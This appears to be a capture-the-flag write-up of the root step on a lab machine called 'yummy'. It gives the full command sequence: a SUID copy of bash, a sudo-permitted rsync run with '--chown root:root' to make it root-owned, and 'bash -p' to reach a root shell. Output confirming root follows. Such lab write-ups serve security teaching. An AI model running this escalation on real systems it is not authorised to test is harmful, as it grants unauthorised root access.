Yummy_Privilege_Escalation

SUID Bash

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The sudo privileged-command is flawed as I am able to write to the /home/dev/app-production directory.

dev@yummy:~$ cp /bin/bash ~/app-production/bash && chmod +s ~/app-production/bash

Creating a SUID bash at /home/dev/app-production/bash

dev@yummy:~$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/

Executing the sudo privileged-command with an additional flag; --chown root:root

There is the SUID bash file and the entire ownership has changed to root:root

dev@yummy:~$ /opt/app/bash -p
bash-5.2# whoami
root
bash-5.2# hostname
yummy
bash-5.2# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:6e:41 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.54.224/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3548sec preferred_lft 3548sec

System Level Compromise